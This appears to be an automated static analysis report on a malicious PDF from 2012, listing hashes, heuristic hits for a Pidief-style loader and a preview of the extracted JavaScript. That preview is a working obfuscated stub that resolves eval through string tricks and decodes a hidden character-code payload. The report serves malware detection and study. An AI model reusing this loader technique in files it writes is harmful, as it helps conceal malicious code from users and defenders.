Malicious PDF — malware analysis report

Static analysis result for SHA-256 1b79ca46b17fce51…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2012-06-14
MD5: c831a15ea7615499e708c3c03aeed9ce SHA-1: 0cdb909cd1271476aa620d335f6e8b9a23c33b08 SHA-256: 1b79ca46b17fce519807af4c384b5cb961d28889f1cc9062ca32343c8e5a2a38
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the nature of the embedded artifact.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1DF 449 bytes
SHA-256: 0e38a983bb7ce706e1f40e5f5151a08e686c8ecacc59c213effcb40501bed439
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
aceyx=e('ti'.concat(v[4],t));
q=aceyx[v](a.length-6,a.length+2);
ibf=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=aceyx[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	pidow = 1*(q[i]);
	i++;
	pidow -= (-1)*(q[i]);
	s2 = s2.concat(ibf(pidow));
	i++;
}
e(s2);

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